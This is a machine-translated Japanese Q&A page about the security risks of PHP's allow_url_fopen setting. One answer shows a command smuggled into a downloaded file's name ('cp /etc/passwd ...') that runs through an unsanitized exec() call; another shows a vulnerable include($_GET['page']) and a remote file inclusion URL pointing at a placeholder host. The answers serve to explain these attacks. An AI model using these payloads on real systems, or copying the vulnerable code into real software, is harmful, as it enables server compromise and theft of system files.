web-dev-qa-db-ja.com

PHP allow_url_fopenセキュリティリスクとは何ですか?

最近読んだ file_get_contentsとHTTPSに関する記事

私の注意を引いた部分は次のとおりです。

もちろん、allow_url_fopen設定には、リモートファイル実行、アクセスコントロールバイパス、または情報漏えい攻撃を有効にする別のリスクもあります。攻撃者が選択したリモートURIをファイル機能に挿入できる場合、アプリケーションを操作して、信頼されていないリモートソースからのファイルを含め、フェッチされたファイルを実行、保存、または表示できます。また、このようなファイルのフェッチはローカルホストから行われるため、ローカルサーバーの制限に基づくアクセス制御をバイパスできることにも注意してください。そのため、allow_url_fopenはデフォルトで有効になっていますが、セキュリティを最大限に高めるために、迷わずに無効にする必要があります。

2つの質問があります。

  1. 攻撃者はallow_url_fopenで何ができ、どのようにそれを行うのですか?
  2. allow_url_fopenは常にセキュリティリスクですか、それともfopenラッパーでユーザー入力を受け入れる場合のみですか?

その他の興味深いリンク

9
Gudradain

_allow_url_fopen_を使用したサンプルの攻撃シナリオで、パスワードファイルをダウンロードできます。

  1. アプリでリモートイメージへのURLを提供できると仮定します。リモートイメージをダウンロードして、自分のアバターイメージとして使用します。
  2. 次のURLを提供します:_"http://my.malicious.example.com/sbwoodside.jpg;cp%20/etc/passwd%20downloads/foo.jpg;"_
  3. アプリは_allow_url_fopen_を使用してファイルをダウンロードし、_"sbwoodside.jpg;cp%20/etc/passwd%20downloads/passwords.txt;"_として保存します。これで、ファイル名にコマンドを正常に挿入できました。
  4. アプリが画像を圧縮してサイズを変更したいので、コマンドラインでexec("magick convert -size 128x128 ".$filename." ".$filename.".128.jpg")のようにImageMagickを使用します
  5. execは実際に何を実行しますか?ファイル名をサニタイズしていない場合は、シェルで以下を実行します。

_magick convert -size 128x128 sbwoodside.jpg;cp /etc/passwd downloads/passwords.txt; sbwoodside.jpg;cp /etc/passwd downloads/passwords.txt;.128.jpg_

_;_はシェルで区切られたコマンドであるため、シェルによって自動的に次の個別のコマンドに分割されます。

_magick convert -size 128x128 sbwoodside.jpg cp /etc/passwd downloads/passwords.txt sbwoodside.jpg cp /etc/passwd downloads/passwords.txt .128.jpg_

そして今、私は_http://yourapp.com/downloads/passwords.txt_にアクセスし、パスワードファイルをダウンロードします。もちろん、私はあなたのシステムであなたのウェブサーバーとしてコマンドを実行しているので、私は好きなことを何でもすることができます。

3
Simon Woodside

あなた次第です!アプリケーションをどのように設計し、ソフトウェア開発ライフサイクル全体でセキュリティと見なされていますか?

リクエストパラメータ(ページ)に従ってWebページをロードする以下の安全でないコードを検討してください。

<?php
include($_GET['page']);
?>

そして、攻撃者が悪意のあるPHPコードを使用して、

?page=http://example.com/badcode-php.txt

その後、あなたのサイトからすべてのセキュリティ対策を迂回して何でもできます(ローカルファイルへのアクセス、別のファイルのアップロード、etec)。

だから、それをallow_urL_fopenおよびallow_url_includeリモートファイル実行攻撃を最小限に抑える。

1
Akam